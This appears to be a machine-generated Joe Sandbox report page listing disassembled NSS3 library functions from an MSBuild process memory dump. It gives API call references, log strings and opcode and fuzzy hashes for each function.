Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: CriticalSection$LeaveObjectSingleWait$EnterIntervalMillisecondsValue__aulldiv
String ID:
API String ID: 4008047719-0
Opcode ID: ed8f827922c440f5fad0fd9a440e3afbf642dc8ad7b346ee71babe7c52590655
Instruction ID: 235f47273677094f25a05c6e3676ed33ee7c33afb9dea5a7763adc06bc10583a
Opcode Fuzzy Hash: ed8f827922c440f5fad0fd9a440e3afbf642dc8ad7b346ee71babe7c52590655
Instruction Fuzzy Hash: 4E41AE706047418FE7009F28C584796BBF5FB46328F2A8BADE55D8B641DB71E986CF80

Function 6CBF0E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6CBF0A2C), ref: 6CBF0E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6CBF0A2C), ref: 6CBF0E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6CBF0A2C), ref: 6CBF0E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6CBF0A2C), ref: 6CBF0E90
free.MOZGLUE(00000000), ref: 6CBF0EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6CBF0A2C), ref: 6CBF0ED9

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 1b85ae43dd971271f214b1e0fa8dfcbbb90232bd53a7a9778f413bebfe64f73a
Instruction ID: 2813fb3c55c0710b4151e269808b1145124c2654b0b273ec7b82e1a406be0104
Opcode Fuzzy Hash: 1b85ae43dd971271f214b1e0fa8dfcbbb90232bd53a7a9778f413bebfe64f73a
Instruction Fuzzy Hash: 32212E76F012C557EB004966BC85B6B76AEDBC1748F194435D93C93B25FA60C81F82A3

Function 6CC088D0 Relevance: 9.1, APIs: 6, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CC10725,00000000,00000058), ref: 6CC08906
EnterCriticalSection.KERNEL32(?), ref: 6CC0891A
PL_ArenaAllocate.NSS3(?,?), ref: 6CC0894A
calloc.MOZGLUE(00000001,6CC1072D,00000000,00000000,00000000,?,6CC10725,00000000,00000058), ref: 6CC08959
memset.VCRUNTIME140(?,00000000,?), ref: 6CC08993
PR_Unlock.NSS3(?), ref: 6CC089AF

Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07AD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07CD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07D6
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB7204A), ref: 6CBE07E4
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,6CB7204A), ref: 6CBE0864
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBE0880
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB7204A), ref: 6CBE08CB
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08D7
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08FB

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Value$calloc$AllocateArenaCriticalEnterSectionUnlockmemset
String ID:
API String ID: 1716546843-0
Opcode ID: 086c4ea168991bee5483d47bf8b28321f9ed7fb61cbf775d2f1952c5d3be143b
Instruction ID: 5b18148ff507424eb73c5a3341ca6a89ae28ef6b2838cbfadcfa8e2ce5651c00
Opcode Fuzzy Hash: 086c4ea168991bee5483d47bf8b28321f9ed7fb61cbf775d2f1952c5d3be143b
Instruction Fuzzy Hash: 3831F572B005119BEB00AF29CC41E5977A8BF4571CF15C626ED589BB41F732E845CBD2

Function 6CBFAE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CBFAEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CBFAECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBFAEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CBFAF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CD19500), ref: 6CBFAF23

Part of subcall function 6CC4F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CC4F0C8
Part of subcall function 6CC4F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC4F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CBFAF37

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: f3b650b83025981777ecd9f72db0d2c751779e95ee41052d999701a70cecc2e7
Instruction ID: 0d5f87ac1fa5a4d18c61bfa0d2f34b0eb491ad6ab93d0f779ed302090845ca72
Opcode Fuzzy Hash: f3b650b83025981777ecd9f72db0d2c751779e95ee41052d999701a70cecc2e7
Instruction Fuzzy Hash: 3921F8B1909240ABFB108E189C41B9A7BA4EF8572CF144315EC64EF791F731D51A8BA7

Function 6CC7EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC7EE85
realloc.MOZGLUE(3BFCF527,?), ref: 6CC7EEAE
PORT_Alloc_Util.NSS3(?), ref: 6CC7EEC5

Part of subcall function 6CC50BE0: malloc.MOZGLUE(6CC48D2D,?,00000000,?), ref: 6CC50BF8
Part of subcall function 6CC50BE0: TlsGetValue.KERNEL32(6CC48D2D,?,00000000,?), ref: 6CC50C15

htonl.WSOCK32(?), ref: 6CC7EEE3
htonl.WSOCK32(00000000,?), ref: 6CC7EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CC7EF01

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 9b37eeea28443a0869fe587d0e995bb8dcbd5c7b25bed938dc6e8c1710b0cebd
Instruction ID: 5637d0e85698a9a6698aa58fa5f0a90071ee67083c908f63c1c0a19f6b958611
Opcode Fuzzy Hash: 9b37eeea28443a0869fe587d0e995bb8dcbd5c7b25bed938dc6e8c1710b0cebd
Instruction Fuzzy Hash: 0421D372A002249FDB20DF28DC80B9AB7A4EF45358F158529ED199B651E330EC14CBF6

Function 6CC44820 Relevance: 9.1, APIs: 6, Instructions: 74stringCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CC44EB8,?), ref: 6CC44884

Part of subcall function 6CC48800: TlsGetValue.KERNEL32(?,6CC5085A,00000000,?,6CBF8369,?), ref: 6CC48821
Part of subcall function 6CC48800: TlsGetValue.KERNEL32(?,?,6CC5085A,00000000,?,6CBF8369,?), ref: 6CC4883D
Part of subcall function 6CC48800: EnterCriticalSection.KERNEL32(?,?,?,6CC5085A,00000000,?,6CBF8369,?), ref: 6CC48856
Part of subcall function 6CC48800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CC48887
Part of subcall function 6CC48800: PR_Unlock.NSS3(?,?,?,?,6CC5085A,00000000,?,6CBF8369,?), ref: 6CC48899

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CC44EB8,?,?,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC4484C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CC44EB8,?,?,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC4486D
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC44899
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC448A9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC448B8

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockstrcmp$CondErrorWait
String ID:
API String ID: 2226052791-0
Opcode ID: 713c425cf240ac5cfe6f616a51cfb843aed70d3241eaab9840ca07e8bc41081e
Instruction ID: 6296d88f226993584dbf480bb2e23fa40b9f38fa6d6e1e03ff156e2be2d21a1a
Opcode Fuzzy Hash: 713c425cf240ac5cfe6f616a51cfb843aed70d3241eaab9840ca07e8bc41081e
Instruction Fuzzy Hash: AC21D4B2F002409BEF00AEA5DC8092677B8BF5675D724C528DF49CBA12F721E81887A1

Function 6CC089E0 Relevance: 9.1, APIs: 6, Instructions: 64COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CC088AE,-00000008), ref: 6CC08A04
EnterCriticalSection.KERNEL32(?), ref: 6CC08A15
memset.VCRUNTIME140(6CC088AE,00000000,00000132), ref: 6CC08A27
PR_Unlock.NSS3(?), ref: 6CC08A35
memset.VCRUNTIME140(6CC088AE,00000000,00000132,00000000,-00000008,00000000,?,?,6CC088AE,-00000008), ref: 6CC08A45
free.MOZGLUE(6CC088A6,?,6CC088AE,-00000008), ref: 6CC08A4E

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: memset$CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 65992600-0
Opcode ID: fd45c3d27f13eef84e6d0422844b2775b30f1ca554c6448ee6196bfe57ef0c67
Instruction ID: 193ddcdd1fc1de34daafbfc601b5e1297d51b3d90db5eeb0b7f90cbcf0fdb65a
Opcode Fuzzy Hash: fd45c3d27f13eef84e6d0422844b2775b30f1ca554c6448ee6196bfe57ef0c67
Instruction Fuzzy Hash: 4F1108B1F003009BFB00AF69DC86E9ABB7CFF09718F048526EA0496A41F732D59487E1

Function 6CC86840 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

PR_NewMonitor.NSS3(00000000,?,6CC8AA9B,?,?,?,?,?,?,?,00000000,?,6CC880C1), ref: 6CC86846

Part of subcall function 6CBE1770: calloc.MOZGLUE(00000001,0000019C,?,6CBE15C2,?,?,?,?,?,00000001,00000040), ref: 6CBE178D

PR_NewMonitor.NSS3(00000000,?,6CC8AA9B,?,?,?,?,?,?,?,00000000,?,6CC880C1), ref: 6CC86855

Part of subcall function 6CC48680: calloc.MOZGLUE(00000001,00000028,00000000,-00000001,?,00000000,?,6CBF55D0,00000000,00000000), ref: 6CC4868B
Part of subcall function 6CC48680: PR_NewLock.NSS3(00000000,00000000), ref: 6CC486A0
Part of subcall function 6CC48680: PR_NewCondVar.NSS3(00000000,00000000,00000000), ref: 6CC486B2
Part of subcall function 6CC48680: PR_NewCondVar.NSS3(00000000,?,00000000,00000000), ref: 6CC486C8
Part of subcall function 6CC48680: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,00000000), ref: 6CC486E2
Part of subcall function 6CC48680: malloc.MOZGLUE(00000001,?,?,?,00000000,00000000), ref: 6CC486EC
Part of subcall function 6CC48680: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000), ref: 6CC48700

PR_NewMonitor.NSS3(?,6CC8AA9B,?,?,?,?,?,?,?,00000000,?,6CC880C1), ref: 6CC8687D

Part of subcall function 6CBE1770: PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6CBE18DE
Part of subcall function 6CBE1770: InitializeCriticalSectionAndSpinCount.KERNEL32(00000020,000005DC,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6CBE18F1

PR_NewMonitor.NSS3(?,6CC8AA9B,?,?,?,?,?,?,?,00000000,?,6CC880C1), ref: 6CC8688C

Part of subcall function 6CBE1770: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6CBE18FC
Part of subcall function 6CBE1770: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6CBE198A

PR_NewLock.NSS3 ref: 6CC868A5

Part of subcall function 6CCB98D0: calloc.MOZGLUE(00000001,00000084,6CBE0936,00000001,?,6CBE102C), ref: 6CCB98E5

PR_NewLock.NSS3 ref: 6CC868B4

Part of subcall function 6CCB98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CCB9946
Part of subcall function 6CCB98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB716B7,00000000), ref: 6CCB994E
Part of subcall function 6CCB98D0: free.MOZGLUE(00000000), ref: 6CCB995E

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Monitor$ErrorLockcalloc$CondCountCriticalInitializeLastSectionSpinfree$mallocstrcpystrlen
String ID:
API String ID: 200661885-0
Opcode ID: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction ID: cec6ee452c0f5eb23f59a6a393e7b726f7539806bd9d97616e8210a2b9c9fe2b
Opcode Fuzzy Hash: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction Fuzzy Hash: 510169B0A12F0746E7916B7648103EB7AF85F15A8DFA5093E856DC6B80FF71D408CBA1

Function 6CBDAE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CBDAFDA

Strings

misuse, xrefs: 6CBDAFCE
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CBDAFC4
unable to delete/modify collation sequence due to active statements, xrefs: 6CBDAF5C
%s at line %d of [%.10s], xrefs: 6CBDAFD3

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 166a070dc0f49b005348abd783a770e0d491ed3804984db938d7255bc9a6d76c
Instruction ID: 0e0b91df86357844b3e3aea409d198b73b78d3eeb6c5cf9b1bce0862471b53e0
Opcode Fuzzy Hash: 166a070dc0f49b005348abd783a770e0d491ed3804984db938d7255bc9a6d76c
Instruction Fuzzy Hash: EF91C175A012958FDB04CF69C890BAEB7F1EF45314F1A45A8E869AB791D334BC01CF62

Function 6CCCA800 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001,?,?,?,?,?,?,?,?,6CB97915,?,?), ref: 6CCCA86D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010800,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,6CB97915,?,?), ref: 6CCCA8A6

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CCCA891
database corruption, xrefs: 6CCCA89B
%s at line %d of [%.10s], xrefs: 6CCCA8A0

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 6ee496a3ebd9e1d1f480561139f9880da555d08871ab1d3ef1c33e5622b20390
Instruction ID: 8680205753353324c3c719e76dbdaca8698860cd83313ff395afea569e674fb2
Opcode Fuzzy Hash: 6ee496a3ebd9e1d1f480561139f9880da555d08871ab1d3ef1c33e5622b20390
Instruction Fuzzy Hash: AF110371B00214AFEB048F51DC94AAAB7A5FF89314F008439FD594BE90FB35E916DB92

Function 6CBE0DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CBE0BDE), ref: 6CBE0DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CBE0BDE), ref: 6CBE0DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CBE0BDE), ref: 6CBE0DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CBE0BDE), ref: 6CBE0E32

Strings

%s incr => %d (find lib), xrefs: 6CBE0E2D

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 2b71141b96a8c3df00aba6277963e661e7a28811a16e50d2ee1f0f1b592cd495
Instruction ID: 591a06c3673e12b89001f6a06bad387d2ad286d10139529efe3ee3f4cbd7f633
Opcode Fuzzy Hash: 2b71141b96a8c3df00aba6277963e661e7a28811a16e50d2ee1f0f1b592cd495
Instruction Fuzzy Hash: D0012872B002509FE6209F28AC45E1773BCDF49A49B05483DD949D3A51EB61FC1887E1

Function 6CB96D2E Relevance: 7.6, APIs: 5, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 6CB83C40: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB83C66
Part of subcall function 6CB83C40: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6CB83D04

memcpy.VCRUNTIME140(?,?,?), ref: 6CB96DC0
memcpy.VCRUNTIME140(?,?,?), ref: 6CB96DE5

Part of subcall function 6CB98010: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB9807D
Part of subcall function 6CB98010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB980D1
Part of subcall function 6CB98010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB9810E
Part of subcall function 6CB98010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB98140

memcpy.VCRUNTIME140(00000004,00000004,00000000), ref: 6CB96E7E
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB96E96
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB96EC2

Part of subcall function 6CB97D70: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB97E27
Part of subcall function 6CB97D70: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB97E67

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: _byteswap_ulong$memcpy$_byteswap_ushort
String ID:
API String ID: 3070372028-0
Opcode ID: 848c820c84e3ba32651aa9a9d26f40a2b88f3f9ef7b005cdd258c69f0d4c2721
Instruction ID: fcf9c82959c786329856a06be9224d3a00c3e22c2ea25da86d5642c04adeefdb
Opcode Fuzzy Hash: 848c820c84e3ba32651aa9a9d26f40a2b88f3f9ef7b005cdd258c69f0d4c2721
Instruction Fuzzy Hash: FC51AE719083919FC720CF25C450B6ABBE5FF89318F048A6DE89897B51E370E919CBD2

Function 6CC0C9E0 Relevance: 7.6, APIs: 5, Instructions: 132COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,00000000), ref: 6CC0CA21
EnterCriticalSection.KERNEL32(0000001C), ref: 6CC0CA35
PR_Unlock.NSS3(00000000), ref: 6CC0CA66
PR_SetError.NSS3(FFFFE041,00000000,00000000,?,?,00000000), ref: 6CC0CA77
PR_Unlock.NSS3(00000000), ref: 6CC0CAFC

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
